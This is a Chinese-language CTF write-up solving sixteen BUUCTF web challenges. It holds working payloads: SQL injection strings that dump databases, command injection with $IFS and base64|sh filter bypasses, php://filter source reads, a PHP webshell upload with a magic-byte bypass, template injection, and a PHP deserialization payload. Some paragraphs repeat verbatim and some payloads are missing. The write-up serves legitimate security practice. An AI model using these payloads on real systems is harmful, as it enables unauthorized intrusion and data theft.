BUUCTF-web-【01~16】题解
1. [HCTF 2018] WarmUp
查看页面元素,发现source.php
是页面源码,其中发现了hint.php文件,访问有:
flag not here, and flag in ffffllllaaaagggg
这里要做的是绕过这些检查,主要在checkFile函数检查
这里截取?前的字符串,检查是否在白名单,这个页面本身source.php八成也在白名单上
构造payload:
2. [极客大挑战 2019]EasySQL
任意账户密码登陆一下
单引号闭合报错
测试字段个数, 三个字段
联合注入时候莫名其妙拿到了flag,
【这道题只要登陆成功就能拿到flag,可以用万能密码登陆】
3. [极客大挑战 2019]Havefun
根据提示,直接拿到
4. [强网杯 2019]随便注
单引号闭合
过滤了字段
尝试堆叠注入,成功
查段名
查数据,这里要绕过过滤select的限制了,一种方法是预编译:
构造payload ?inject=1'; sEt @pay=COncat('sel','ect * from `1919810931114514`;');Prepare stmt from @pay; execute stmt; %23
这里使用了strstr函数对set 和prepare进行了过滤,但是这个函数不区分大小写,stristr函数区分大小写
5. [ACTF2020 新生赛]Include
唯一的提示是题目的include
php://filter伪协议直接读取源码base64编码数据
解码得:
6.[SUCTF 2019]EasySQL
这道题本意是要猜测后端代码,各种注入都不行,头大。百度解决一切问题√
源码select $_POST[‘query’] || flag from Flag
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
或者 1;set sql_mode=PIPES_AS_CONCAT;select 1
7.[极客大挑战 2019]Secret File
查看器发现藏了一些奇怪的东西
查看绝密档案,很快就查阅结束,bp拿包,
还是用php://filter伪协议:
解码即可得到flag
8.[ACTF2020 新生赛]Exec
很easy的一题就不说了
9. [极客大挑战 2019]LoveSQL
万能密码试探一波
常规测试,得到注入点有三个
select 1,2,3试一下,发现2和3是有效注入点
2换为database(),得到db名为geek
爆表名 ?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆段名 ?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' %23&password=1
爆数据 ?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1
10. [GXYCTF201*** Ping Ping
ls试探一下,查看到两个文件名
过滤了空格,粗鄙之语 ?ip=127.0.0.1|cat index.php
绕过空格过滤:?ip=127.0.0.1;cat$IFS$1index.php
过滤了flag字段
注意到index.php的源码中有$a变量,这里可以通过$a变量绕过flag的规则匹配,这里如果没过滤bush的话,也可以用bush语句得到flag
作为bush的替代,也可以用sh,
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh这里用变量覆盖的方式
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
11. [极客大挑战 2019]Knife
没啥说的,白给一道题,直接菜刀蚁剑连
12.[极客大挑战 2019]Http
一个花里胡哨的网页,也没找到什么提示,bp抓包看看有什么收获
进入secret.php看一看,下一步修改bp包头,referer=xxxx
又要使用标识为Syclover的浏览器,继续修改bp包头
还要本地访问,再改!
最终的包:
得到flag
13.[RoarCTF 2019]Easy Calc
php字符串解析漏洞,详细原理:https://www.freebuf.com/column/207936.html
这时候会将 'num' 识别为变量,输出1,此时num变量经过了过滤
将?num变为? num后,' num'被解析为变量,绕过检测的waf,输出了本不合法的结果,利用这个漏洞执行php代码
引号被过滤:
使用acsii编码绕过引号过滤
file_get_contents函数读取/f1agg文件,经过ascii编码,拿到√
14. [护网杯 2018]easy_tornado
三个文件提示,最重要的一步是获取cookie_secret,在python shell中执行命令会生成一个cookie-secret
通过tornado的快速访问对象,经由error?msg=xxx进行模板注入,拿到cookie
根据hint的哈希公式计算出filehash,构造payload:file?filename=/flllllllllllag&filehash=xxxxxxxxxxx即可拿到flag
15. [极客大挑战 2019]Upload
写个php一句话上传试一试,
not image 被拦了下来,也是,不可能这么简单,改个后缀继续,看来是检查了文件内容
文件幻术头绕过,更改文件后缀上传就不需要bp改content-type了
在/upload/找到上传的文件,用菜刀蚁剑连即可
16. [极客大挑战 2019]PHP
备份网站,一定是备份文件泄露,然后代码审计了
先dirsearch扫描目录
扫了半天,发现一个www.zip,下载下来
在index.php里发现了反序列化函数,哦豁,典中典
自己写一个序列化的脚本看看结果是怎样的
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', '100'); var_dump(serialize($a)); ?>
绕过_wakeup函数,由于代码中变量声明为private,构造payload: ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
1、__wakeup()方法绕过
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
所以在上面name后面的2表示有2个属性,我们改成3之后他会绕过__wakeup()
2、public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
所以在上面name后面的2表示有2个属性,我们改成3之后他会绕过__wakeup()
2、public、protected与private在序列化时的区别
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。